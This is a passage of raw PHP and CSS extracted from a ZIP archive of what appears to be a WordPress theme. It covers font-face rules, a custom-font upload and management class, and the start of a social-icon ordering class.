swap;font-family: 'Raleway';font-style: italic;font-weight: 700;src: local('Raleway Bold Italic'), local(Raleway-BoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw9qR_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 800;src: local('Raleway ExtraBold Italic'), local(Raleway-ExtraBoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw6qd_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 800;src: local('Raleway ExtraBold Italic'), local(Raleway-ExtraBoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw6qd_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 300;src: local('Raleway Light'), local(Raleway-Light), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIYqWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 300;src: local('Raleway Light'), local(Raleway-Light), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIYqWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 400;src: local(Raleway), local(Raleway-Regular), url(<?php echo $font_url; ?>/raleway/1Ptug8zYS_SKggPNyCMIT5lu.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 400;src: local(Raleway), local(Raleway-Regular), url(<?php echo $font_url; ?>/raleway/1Ptug8zYS_SKggPNyC0ITw.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 500;src: local('Raleway Medium'), local(Raleway-Medium), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwN4rWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 500;src: local('Raleway Medium'), local(Raleway-Medium), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwN4rWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 700;src: local('Raleway Bold'), local(Raleway-Bold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwJYtWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 700;src: local('Raleway Bold'), local(Raleway-Bold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwJYtWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 800;src: local('Raleway ExtraBold'), local(Raleway-ExtraBold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIouWqhPAMif.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: normal;font-weight: 800;src: local('Raleway ExtraBold'), local(Raleway-ExtraBold), url(<?php echo $font_url; ?>/raleway/1Ptrg8zYS_SKggPNwIouWqZPAA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }
		<?php endif; ?>
		<?php if ( !empty($array_fonts) && in_array( '"PT Serif", "regular:italic:700:700italic", serif', $array_fonts ) ): ?>
            @font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rC1chb-.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rm1chb-.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_rO1chb-.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 400;src: local('PT Serif Italic'), local(PTSerif-Italic), url(<?php echo $font_url; ?>/ptserif/EJRTQgYoZZY2vCFuvAFT_r21cg.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyTfoPNB.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZy3foPNB.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyffoPNB.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: italic;font-weight: 700;src: local('PT Serif Bold Italic'), local(PTSerif-BoldItalic), url(<?php echo $font_url; ?>/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZynfoA.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFbzr-tdg.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFSzr-tdg.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFYzr-tdg.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 400;src: local('PT Serif'), local(PTSerif-Regular), url(<?php echo $font_url; ?>/ptserif/EJRVQgYoZZY2vCFuvAFWzr8.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qfVyvHpA.woff2) format("woff2");unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qWVyvHpA.woff2) format("woff2");unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116 }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qcVyvHpA.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'PT Serif';font-style: normal;font-weight: 700;src: local('PT Serif Bold'), local(PTSerif-Bold), url(<?php echo $font_url; ?>/ptserif/EJRSQgYoZZY2vCFuvAnt66qSVys.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }
		<?php endif; ?>
		<?php
		echo ob_get_clean();
	}
}
PK     N\tN,*K  *K  '  inc/dashboard/inc/custom-fonts-type.phpnu [        <?php

class Penci_Custom_Fonts {
	public static $fonts = false;
	public static $font_face_rules = '';

	public function __construct() {
		add_filter( 'init', [ $this, 'register_post_type' ] );
		add_action( 'admin_init', [ $this, 'migrate_old_options' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );

		add_filter( 'post_row_actions', [ $this, 'post_row_actions' ], 10, 2 );

		add_filter( 'manage_penci_cfonts_posts_columns', [ $this, 'manage_columns' ] );
		add_action( 'manage_penci_cfonts_posts_custom_column', [ $this, 'render_columns' ], 10, 2 );

		add_action( 'add_meta_boxes_penci_cfonts', [ $this, 'add_meta_boxes' ] );
		add_filter( 'upload_mimes', [ $this, 'font_upload_mimes' ] );

		add_action( 'wp_ajax_soledad_save_font_faces', [ $this, 'save_font_faces' ], 10, 2 );

		add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_style_font_face_rules' ], 11 );
	}

	public function migrate_old_options() {


		$penci_data = get_option( 'penci_soledad_options' );
		$has_change = false;

		for ( $x = 1; $x <= 10; $x ++ ) {
			$font_file = penci_get_option( 'soledad_custom_font' . $x );
			$font_name = penci_get_option( 'soledad_custom_fontfamily' . $x );
			if ( $font_file && $font_name ) {

				$file_id    = attachment_url_to_postid( $font_file );

				if ( $file_id ) {

					$post_id = wp_insert_post( [
						'post_title'  => $font_name,
						'post_status' => 'publish',
						'post_type'   => 'penci_cfonts',
						'post_name'   => sanitize_title( $font_name )
					] );

					$font_data = [
						'400' => [ 'woff' => $file_id ]
					];
					update_post_meta( $post_id, 'penci_cfonts_face', $font_data );
					unset( $penci_data[ 'soledad_custom_font' . $x ] );
					unset( $penci_data[ 'soledad_custom_fontfamily' . $x ] );
					$has_change = true;
				}
			}
		}

		if ( $has_change ) {
			update_option( 'penci_soledad_options', $penci_data );
		}
	}

	/**
	 * Generate custom font-face rules when viewing/editing "Custom fonts" in admin area
	 *
	 * @since 1.7.2
	 */
	public function generate_custom_font_face_rules() {

		$fonts = self::get_custom_fonts();

		$font_face_rules = self::$font_face_rules;

		if ( $font_face_rules ) {
			update_option( 'penci_cfonts_rules', $font_face_rules );
		} else {
			delete_option( 'penci_cfonts_rules' );
		}
	}

	public function add_inline_style_font_face_rules() {
		$font_face_rules = get_option( 'penci_cfonts_rules', false );

		// Generate custom font-face rules if not exist while in wp-admin
		if ( ! $font_face_rules && is_admin() ) {

			$fonts           = self::get_custom_fonts();
			$font_face_rules = self::$font_face_rules;

			if ( $font_face_rules ) {
				update_option( 'penci_cfonts_rules', $font_face_rules );
			}
		}

		// Add inline style for custom @font-face rules
		if ( $font_face_rules ) {
			wp_add_inline_style( 'admin-css', $font_face_rules );
		}
	}

	public static function get_custom_fonts() {
		// Return already generated fonts
		if ( self::$fonts ) {
			return self::$fonts;
		}

		$font_ids = get_posts(
			[
				'post_type'      => 'penci_cfonts',
				'posts_per_page' => - 1,
				'fields'         => 'ids',
				'no_found_rows'  => true, // Skip the 'found_posts' calculation
			]
		);

		$fonts = [];

		foreach ( $font_ids as $font_id ) {
			// Add 'custom_font_' prefix for correct font order in ControlTypography.vue & to build @font-face from font ID
			$fonts["custom_font_{$font_id}"] = [
				'id'        => "custom_font_{$font_id}",
				'family'    => get_the_title( $font_id ),
				'fontFaces' => self::generate_font_face_rules( $font_id ),
			];
		}

		self::$fonts = $fonts;

		return $fonts;
	}

	public static function generate_font_face_rules( $font_id = 0 ) {
		$font_faces = get_post_meta( $font_id, 'penci_cfonts_face', true );

		if ( ! $font_faces ) {
			return;
		}

		$font_family     = get_the_title( $font_id );
		$font_face_rules = '';

		// $key: font-weight + variant (e.g.: 700italic)
		foreach ( $font_faces as $key => $font_face ) {
			$font_weight = filter_var( $key, FILTER_SANITIZE_NUMBER_INT );
			$font_style  = str_replace( $font_weight, '', $key );
			$src         = [];

			foreach ( $font_face as $format => $value ) {
				$font_variant_url = wp_get_attachment_url( $font_face[ $format ] );

				if ( $font_variant_url ) {
					if ( $format === 'ttf' ) {
						$format = 'truetype';
					} elseif ( $format === 'otf' ) {
						$format = 'opentype';
					} elseif ( $format === 'eot' ) {
						$format = 'embedded-opentype';
					}

					// Load woff2 first @since 1.4 (smaller file size, almost same support as 'woff')
					if ( $format === 'woff2' ) {
						array_unshift( $src, "url($font_variant_url) format(\"$format\")" );
					} else {
						array_push( $src, "url($font_variant_url) format(\"$format\")" );
					}
				}
			}

			if ( ! count( $src ) ) {
				return;
			}

			$src = implode( ',', $src );

			if ( $font_family && $src ) {
				$font_face_rules .= '@font-face{';
				$font_face_rules .= "font-family:\"$font_family\";";

				if ( $font_weight ) {
					$font_face_rules .= "font-weight:$font_weight;";
				}

				if ( $font_style ) {
					$font_face_rules .= "font-style:$font_style;";
				}

				$font_face_rules .= 'font-display:swap;';
				$font_face_rules .= "src:$src;";
				$font_face_rules .= '}';
			}
		}

		self::$font_face_rules .= "$font_face_rules\n";

		return $font_face_rules;
	}

	public function admin_enqueue_scripts() {
		$current_screen = get_current_screen();

		if ( is_object( $current_screen ) && $current_screen->post_type === 'penci_cfonts' ) {
			// Generate custom font-face rules on custom font edit page
			$this->generate_custom_font_face_rules();

			wp_enqueue_media();

			wp_enqueue_script( 'soledad-custom-fonts', get_template_directory_uri() . '/js/custom-fonts.min.js', [], PENCI_SOLEDAD_VERSION, true );

			$localize_script = array(
				'nonce'   => wp_create_nonce( 'pcfonts-ajax-nonce' ),
			);
			wp_localize_script( 'soledad-custom-fonts', 'PENCIFONTS', $localize_script );
		}
	}

	public function add_meta_boxes() {
		add_meta_box(
			'soledad-font-metabox',
			esc_html__( 'Manage your custom font files', 'soledad' ),
			[ $this, 'render_meta_boxes' ],
			'penci_cfonts',
			'normal',
			'default'
		);
	}


	public function font_upload_mimes( $mime_types ) {
		if ( isset( $_POST['soledadCustomFontsUpload'] ) ) {
			foreach ( $this->get_custom_fonts_mime_types() as $type => $mime ) {
				if ( ! isset( $mime_types[ $type ] ) ) {
					$mime_types[ $type ] = $mime;
				}
			}
		}

		return $mime_types;
	}

	private static function get_custom_fonts_mime_types() {
		$font_mime_types = [
			'woff' => 'application/x-font-woff',
		];

		// NOTE: Undocumented
		return apply_filters( 'soledad/custom_fonts/mime_types', $font_mime_types );
	}

	public function render_meta_boxes( $post ) {
		echo '<h2 class="title">';
		esc_html_e( 'Manage your custom font files', 'soledad' );
		echo '</h2>';

		$font_faces = get_post_meta( $post->ID, 'penci_cfonts_face', true );

		if ( is_array( $font_faces ) && count( $font_faces ) ) {
			foreach ( $font_faces as $font_variant => $font_face ) {
				echo self::render_font_faces_meta_box( $font_face, $font_variant );
			}
		} else {
			echo self::render_font_faces_meta_box( [], 400 );
		}

		echo '<button id="soledad-custom-fonts-add-font-variant" class="button button-primary">' . esc_html__( 'Add a font variant', 'soledad' ) . '</button>';
	}

	public static function generate_hash( $string, $length = 6 ) {
		// Generate SHA1 hexadecimal string (40-characters)
		$sha1        = sha1( $string );
		$sha1_length = strlen( $sha1 );
		$hash        = '';

		// Generate random site hash based on SHA1 string
		for ( $i = 0; $i < $length; $i ++ ) {
			$hash .= $sha1[ rand( 0, $sha1_length - 1 ) ];
		}

		// Convert site path to lowercase
		$hash = strtolower( $hash );

		return $hash;
	}

	public static function generate_random_id( $echo = true ) {
		$hash = self::generate_hash( md5( uniqid( rand(), true ) ) );

		if ( $echo ) {
			echo $hash;
		}

		return $hash;
	}

	public static function render_font_faces_meta_box( $font_face = [], $font_variant = 400 ) {
		$mime_types  = self::get_custom_fonts_mime_types();
		$font_weight = substr( $font_variant, 0, 3 );
		$font_style  = substr( $font_variant, 3, strlen( $font_variant ) );

		ob_start();
		?>
        <div class="soledad-font-variant">
            <div class="font-header">
                <div
                        class="soledad-font-weight-wrapper"
                        data-balloon="<?php esc_html_e( 'Font weight', 'soledad' ); ?>"
                        data-balloon-pos="top">
                    <select name="font_weight">
                        <option value="100" <?php selected( $font_weight, 100, true ); ?>><?php echo '100 (' . esc_html__( 'Thin', 'soledad' ); ?>
                            )
                        </option>
                        <option value="200" <?php selected( $font_weight, 200, true ); ?>><?php echo '200 (' . esc_html__( 'Extra Light', 'soledad' ); ?>
                            )
                        </option>
                        <option value="300" <?php selected( $font_weight, 300, true ); ?>><?php echo '300 (' . esc_html__( 'Light', 'soledad' ); ?>
                            )
                        </option>
                        <option value="400" <?php selected( $font_weight, 400, true ); ?>><?php echo '400 (' . esc_html__( 'Normal', 'soledad' ); ?>
                            )
                        </option>
                        <option value="500" <?php selected( $font_weight, 500, true ); ?>><?php echo '500 (' . esc_html__( 'Medium', 'soledad' ); ?>
                            )
                        </option>
                        <option value="600" <?php selected( $font_weight, 600, true ); ?>><?php echo '600 (' . esc_html__( 'Semi Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="700" <?php selected( $font_weight, 700, true ); ?>><?php echo '700 (' . esc_html__( 'Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="800" <?php selected( $font_weight, 800, true ); ?>><?php echo '800 (' . esc_html__( 'Extra Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="900" <?php selected( $font_weight, 900, true ); ?>><?php echo '900 (' . esc_html__( 'Black', 'soledad' ); ?>
                            )
                        </option>
                    </select>
                </div>

                <div
                        class="soledad-font-style-wrapper"
                        data-balloon="<?php esc_html_e( 'Font style', 'soledad' ); ?>"
                        data-balloon-pos="top">
                    <select name="font_style">
                        <option value="" <?php selected( $font_style, '', true ); ?>><?php esc_html_e( 'Normal', 'soledad' ); ?></option>
                        <option value="italic" <?php selected( $font_style, 'italic', true ); ?>><?php esc_html_e( 'Italic', 'soledad' ); ?></option>
                        <option value="oblique" <?php selected( $font_style, 'oblique', true ); ?>><?php esc_html_e( 'Oblique', 'soledad' ); ?></option>
                    </select>
                </div>

                <div
                        class="soledad-font-preview"
                        data-balloon="<?php esc_html_e( 'Font preview', 'soledad' ); ?>"
                        data-balloon-pos="top">
					<?php
					$font_id     = get_the_ID();
					$font_family = get_the_title();
					$style       = [
						'font-family: "' . $font_family . '"',
						'font-weight: ' . $font_weight,
					];

					if ( ! empty( $font_style ) ) {
						$style[] = "font-style: $font_style";
					}
					?>
                    <div class="pangram"
                         style='<?php echo implode( ';', $style ); ?>'><?php esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'soledad ' ); ?></div>
                </div>

                <div class="actions">
                    <button class="button edit"
                            data-label="<?php esc_html_e( 'Close', 'soledad' ); ?>"><?php esc_html_e( 'Edit', 'soledad' ); ?></button>
                    <button class="button delete"><?php esc_html_e( 'Delete', 'soledad' ); ?></button>
                </div>
            </div>

            <ul class="font-faces hide">
				<?php
				foreach ( $mime_types as $extension => $mime_type ) {
					$font_id     = isset( $font_face[ $extension ] ) ? $font_face[ $extension ] : '';
					$font_url    = wp_get_attachment_url( $font_id );
					$file_size   = $font_id ? ceil( filesize( get_attached_file( $font_id ) ) / 1024 ) . ' KB' : false;
					$placeholder = '';

					switch ( $extension ) {
						case 'ttf':
							$placeholder = esc_html__( 'TrueType Font: Uncompressed font data, but partial IE9+ support.', 'soledad' );
							break;

						case 'woff':
							$placeholder = esc_html__( 'Web Open Font Format: Compressed TrueType/OpenType font with information about font source and full IE9+ support (recommended).', 'soledad' );
							break;

						case 'woff2':
							$placeholder = esc_html__( 'Web Open Font Format 2.0: TrueType/OpenType font with even better compression than WOFF 1.0, but no IE browser support.', 'soledad' );
							break;
					}
					?>
                    <li class="font-face">
                        <label>
                            <div
                                    class="font-name"
                                    data-balloon="<?php echo $file_size; ?>"
                                    data-balloon-pos="top">
								<?php
								// translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2)
								printf( esc_html__( '%s file', 'soledad' ), strtoupper( $extension ) );
								?>
                            </div>
                        </label>

                        <input type="url" name="font_url" value="<?php echo $font_url; ?>"
                               placeholder="<?php echo $placeholder; ?>">
                        <input type="number" name="font_id" value="<?php echo $font_id; ?>">

                        <button
                                id="<?php echo self::generate_random_id(); ?>"
                                class="button upload<?php echo $font_id ? ' hide' : ''; ?>"
                                data-mime-type="<?php echo esc_attr( $mime_type ); ?>"
                                data-extension="<?php echo esc_attr( $extension ); ?>"
							<?php // translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2) ?>
                                data-title="<?php echo esc_attr( sprintf( esc_html__( 'Upload .%s file', 'soledad' ), $extension ) ); ?>"><?php esc_html_e( 'Upload', 'soledad' ); ?></button>
                        <button class="button remove<?php echo $font_id ? '' : ' hide'; ?>"><?php esc_html_e( 'Remove', 'soledad' ); ?></button>
                    </li>
				<?php } ?>
            </ul>
        </div>

		<?php
		return ob_get_clean();
	}

	public function save_font_faces() {

		check_ajax_referer( 'pcfonts-ajax-nonce', 'nonce' );

		$post_id    = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
		$font_faces = isset( $_POST['font_faces'] ) ? json_decode( stripslashes( $_POST['font_faces'] ), true ) : false;

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( [ 'message' => esc_html__( 'Not allowed', 'soledad' ) ] );
		}

		if ( count( $font_faces ) ) {
			$updated = update_post_meta( $post_id, 'penci_cfonts_face', $font_faces );
		} else {
			$updated = delete_post_meta( $post_id, 'penci_cfonts_face' );
		}

		// Update font face rules in options table (@since 1.7.2)
		if ( $updated ) {
			$fonts = self::get_custom_fonts();

			if ( is_string( self::$font_face_rules ) ) {
				update_option( 'penci_cfonts_rules', self::$font_face_rules );
			}
		}

		wp_send_json_success(
			[
				'post_id'    => $post_id,
				'font_faces' => $font_faces,
				'updated'    => $updated,
			]
		);
	}

	public function manage_columns( $columns ) {
		$columns = [
			'cb'           => '<input type="checkbox" />',
			'title'        => esc_html__( 'Font Family', 'soledad' ),
			'font_preview' => esc_html__( 'Font Preview', 'soledad' ),
		];

		$mime_types = self::get_custom_fonts_mime_types();

		foreach ( $mime_types as $extension => $label ) {
			// translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2)
			$columns[ $extension ] = sprintf( esc_html__( '%s file', 'soledad' ), strtoupper( $extension ) );
		}

		return $columns;
	}

	public function render_columns( $column, $post_id ) {
		if ( $column === 'font_preview' ) {
			echo '<div class="pangram" style="font-family: \'' . get_the_title( $post_id ) . '\'; font-size: 18px">';

			esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'soledad ' );

			echo '</div>';
		}

		$extensions = array_keys( self::get_custom_fonts_mime_types() );
		$font_faces = get_post_meta( $post_id, 'penci_cfonts_face', true );

		if ( in_array( $column, $extensions ) && $font_faces ) {
			$has_font_file = false;

			foreach ( $font_faces as $font_variant => $font_face ) {
				if ( isset( $font_face[ $column ] ) ) {
					$has_font_file = true;
				}
			}

			echo $has_font_file ? '<i class="dashicons dashicons-yes-alt"></i>' : '<i class="dashicons dashicons-minus"></i>';
		}
	}

	public function post_row_actions( $actions, $post ) {
		// Remove 'Quick Edit'
		if ( $post->post_type === 'penci_cfonts' ) {
			// unset( $actions['inline hide-if-no-js'] );
			unset( $actions['view'] );
		}

		return $actions;
	}

	public function register_post_type() {
		$args = [
			'labels'              => [
				'name'               => esc_html__( 'Custom Fonts', 'soledad' ),
				'singular_name'      => esc_html__( 'Custom Font', 'soledad' ),
				'add_new'            => esc_html__( 'Add New', 'soledad' ),
				'add_new_item'       => esc_html__( 'Add New Custom Font', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Custom Font', 'soledad' ),
				'new_item'           => esc_html__( 'New Custom Font', 'soledad' ),
				'view_item'          => esc_html__( 'View Custom Font', 'soledad' ),
				'view_items'         => esc_html__( 'View Custom Fonts', 'soledad' ),
				'search_items'       => esc_html__( 'Search Custom Fonts', 'soledad' ),
				'not_found'          => esc_html__( 'No Custom Fonts found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Custom Font found in Trash', 'soledad' ),
				'all_items'          => esc_html__( 'All Custom Fonts', 'soledad' ),
				'menu_name'          => esc_html__( 'Custom Fonts', 'soledad' ),
			],
			'public'              => false,
			'publicly_queryable'  => false,
			'show_ui'             => true,
			'show_in_menu'        => false,
			'show_in_nav_menus'   => false,
			'exclude_from_search' => true,
			'hierarchical'        => false,
			'rewrite'             => false,
			'supports'            => [ 'title' ],
		];

		register_post_type( 'penci_cfonts', $args );
	}
}

new Penci_Custom_Fonts();PK     N\<mq'  q'  "  inc/dashboard/inc/social_order.phpnu [        <?php
if ( ! class_exists( 'Penci_Social_Order' ) ) {
	class Penci_Social_Order {
		public function __construct() {
			if ( current_user_can( 'manage_options' ) ) {
				add_action( 'admin_menu', array( $this, 'add_menu' ), 90 );
				add_action( 'admin_enqueue_scripts', array( $this, 'admin_lib' ), 90 );
				add_action( 'wp_ajax_penci_social_save_order', array( $this, 'save_order' ) );
				add_action( 'wp_ajax_soledad_add_social', array( $this, 'soledad_add_social' ) );
				add_action( 'wp_ajax_soledad_remove_social', array( $this, 'soledad_remove_social' ) );
				add_action( 'admin_enqueue_scripts', array( $this, 'admin_src' ) );
			}
		}

		public function admin_src() {
			wp_enqueue_style( 'wp-color-picker' );
			wp_enqueue_script( 'wp-color-picker' );
		}

		public function soledad_remove_social() {
			check_ajax_referer( 'ajax-nonce', '_wpnonce' );
			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}
			$name = isset( $_POST['name'] ) ? $_POST['name'] : '';

			$custom_socials = get_option( 'penci_custom_socials' );

			if ( $name && isset( $custom_socials[ $name ] ) ) {

				unset( $custom_socials[ $name ] );

				if ( update_option( 'penci_custom_socials', $custom_socials ) ) {
